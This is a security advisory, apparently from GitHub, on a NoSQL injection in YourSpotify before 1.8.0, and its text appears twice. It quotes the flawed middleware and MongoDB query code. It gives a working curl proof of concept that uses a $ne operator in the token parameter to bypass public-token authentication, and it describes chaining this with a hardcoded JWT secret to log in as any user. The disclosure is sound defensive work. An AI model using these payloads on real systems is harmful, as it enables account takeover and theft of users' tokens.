Summary
YourSpotify version <1.8.0 is vulnerable to NoSQL injection in the public access token processing logic. Attackers can fully bypass the public token authentication mechanism, regardless if a public token has been generated before or not, without any user interaction or prerequisite knowledge.
The current CVSS score of this advisory was scored as if the public token mechanism was working as intended and only granting basic read access to YourSpotify data. It is important to note that this vulnerability can be combined with GHSA-3782-758f-mj85 to retrieve Spotify API access tokens without any authentication and with GHSA-gvcr-g265-j827 to obtain a full authentication bypass and log in as any YourSpotify user without any prerequisite knowledge. In that case, the combined vulnerability chain can be scored as CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, resulting in a total score of 9.1 - Critical.
Details
The public access token verification middleware used in YourSpotify is vulnerable to NoSQL injection. Normally, the public token can be used by appending the token
parameter to the query parameters of any request, for example:
curl "http://backend.yourspotify.internal:8080/me?token=6f4f79d6-b957-4487-8d97-23569b6e7935"
The parameter is evaluated by the baselogged
middleware in server/src/tools/middleware.ts
. In this middleware, the token
value is extracted out of the req.query
object and directly passed into the getUserFromField
function as shown below:
|
const baselogged = async (req: Request, useQueryToken = false) => { |
|
const auth = req.cookies.token; |
|
|
|
if (!auth && useQueryToken) { |
|
const { token } = req.query; |
|
if (!token) { |
|
return null; |
|
} |
|
const user = await getUserFromField('publicToken', token, false); |
|
if (!user) { |
|
return null; |
|
} |
|
return user; |
|
} |
The getUserFromField
function is located in the file server/src/database/queries/user.ts
. This function directly passes the value
parameter (which is the token
parameter directly from the request) into a MongoDB query, as shown below:
|
export const getUserFromField = async <F extends keyof User>( |
|
field: F, |
|
value: User[F], |
|
crash = true, |
|
) => { |
|
const user = UserModel.findOne({ [field]: value }, '-tracks'); |
|
|
|
if (!user && crash) { |
|
throw new NoResult(); |
|
} |
|
return user; |
|
}; |
Express allows creating objects out of query parameters by using the ?param[key]=value
syntax. For example, this query string would create the following object in req.query
:
{
param: {
key: "value"
}
}
This can be exploited by passing a NoSQL query operator in the token
parameter to make the user query always return a user.
For example, the following request can be used to bypass public access token verification at the /me
endpoint:
curl -g 'http://backend.yourspotify.internal:8080/me?token[$ne]=DOESNOTEXIST'
Using Mongoose debug logging, the resulting request to the database can be identified as the following:
users.findOne({ publicToken: { '$ne': 'DOESNOTEXIST' } }, { projection: { tracks: 0 } })
As this query tries to find a user whose public token is not equal to DOESNOTEXIST
, it will always return a valid user, which causes YourSpotify to acccept this request as authenticated with a public token for that user. If multiple users with different access tokens exist, a similar technique using the $regex
query operator can be used to make the query return a different user.
This technique can also be used for all other endpoints accepting public tokens, such as /accounts
. Access to /accounts
allows an attacker to obtain the id
of all users. This id
can then be used in conjunction with the hardcoded JWT secret vulnerability GHSA-gvcr-g265-j827 to fully log in as any user.
Proof of Concept
The following example curl
command sends a request with a token
parameter containing a NoSQL injection payload to the /me
endpoint:
curl -g 'http://backend.yourspotify.internal:8080/me?token[$ne]=DOESNOTEXIST'
The (formatted and redacted) JSON response to this command is shown below:
{
"status": true,
"user": {
"settings": {
"historyLine": false,
"preferredStatsPeriod": "month",
"nbElements": 10,
"metricUsed": "number",
"darkMode": "follow",
"blacklistedArtists": []
},
"_id": "65ce739fca48dd258976a58a",
"username": "<REDACTED>",
"admin": true,
"spotifyId": "<REDACTED>",
"expiresIn": 1708283396572,
"accessToken": "<REDACTED>",
"refreshToken": "<REDACTED>",
"lastTimestamp": 1708274387373,
"lastImport": null,
"publicToken": "6f4f79d6-b957-4487-8d97-23569b6e7935",
"__v": 0,
"firstListenedAt": "2024-02-15T15:03:15.946Z",
"id": "65ce739fca48dd258976a58a"
}
}
This response shows that the NoSQL injection payload in the token
parameter completely circumvented the public access token mechanism.
Impact
This vulnerability allows an attacker to fully bypass the public token authentication mechanism, regardless if a public token has been generated before or not, without any user interaction or prerequisite knowledge.
This technique can also be used for all other endpoints accepting public tokens, such as /accounts
. Access to /accounts
allows an attacker to obtain the id
of all users. This id
can then be used in conjunction with the hardcoded JWT secret vulnerability GHSA-gvcr-g265-j827 to fully log in as any user.
Summary
YourSpotify version <1.8.0 is vulnerable to NoSQL injection in the public access token processing logic. Attackers can fully bypass the public token authentication mechanism, regardless if a public token has been generated before or not, without any user interaction or prerequisite knowledge.
The current CVSS score of this advisory was scored as if the public token mechanism was working as intended and only granting basic read access to YourSpotify data. It is important to note that this vulnerability can be combined with GHSA-3782-758f-mj85 to retrieve Spotify API access tokens without any authentication and with GHSA-gvcr-g265-j827 to obtain a full authentication bypass and log in as any YourSpotify user without any prerequisite knowledge. In that case, the combined vulnerability chain can be scored as CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, resulting in a total score of 9.1 - Critical.
Details
The public access token verification middleware used in YourSpotify is vulnerable to NoSQL injection. Normally, the public token can be used by appending the
token
parameter to the query parameters of any request, for example:curl "http://backend.yourspotify.internal:8080/me?token=6f4f79d6-b957-4487-8d97-23569b6e7935"
The parameter is evaluated by the
baselogged
middleware inserver/src/tools/middleware.ts
. In this middleware, thetoken
value is extracted out of thereq.query
object and directly passed into thegetUserFromField
function as shown below:your_spotify/server/src/tools/middleware.ts
Lines 40 to 53 in b205bfb
The
getUserFromField
function is located in the fileserver/src/database/queries/user.ts
. This function directly passes thevalue
parameter (which is thetoken
parameter directly from the request) into a MongoDB query, as shown below:your_spotify/server/src/database/queries/user.ts
Lines 13 to 24 in b205bfb
Express allows creating objects out of query parameters by using the
?param[key]=value
syntax. For example, this query string would create the following object inreq.query
:This can be exploited by passing a NoSQL query operator in the
token
parameter to make the user query always return a user.For example, the following request can be used to bypass public access token verification at the
/me
endpoint:curl -g 'http://backend.yourspotify.internal:8080/me?token[$ne]=DOESNOTEXIST'
Using Mongoose debug logging, the resulting request to the database can be identified as the following:
As this query tries to find a user whose public token is not equal to
DOESNOTEXIST
, it will always return a valid user, which causes YourSpotify to acccept this request as authenticated with a public token for that user. If multiple users with different access tokens exist, a similar technique using the$regex
query operator can be used to make the query return a different user.This technique can also be used for all other endpoints accepting public tokens, such as
/accounts
. Access to/accounts
allows an attacker to obtain theid
of all users. Thisid
can then be used in conjunction with the hardcoded JWT secret vulnerability GHSA-gvcr-g265-j827 to fully log in as any user.Proof of Concept
The following example
curl
command sends a request with atoken
parameter containing a NoSQL injection payload to the/me
endpoint:curl -g 'http://backend.yourspotify.internal:8080/me?token[$ne]=DOESNOTEXIST'
The (formatted and redacted) JSON response to this command is shown below:
This response shows that the NoSQL injection payload in the
token
parameter completely circumvented the public access token mechanism.Impact
This vulnerability allows an attacker to fully bypass the public token authentication mechanism, regardless if a public token has been generated before or not, without any user interaction or prerequisite knowledge.
This technique can also be used for all other endpoints accepting public tokens, such as
/accounts
. Access to/accounts
allows an attacker to obtain theid
of all users. Thisid
can then be used in conjunction with the hardcoded JWT secret vulnerability GHSA-gvcr-g265-j827 to fully log in as any user.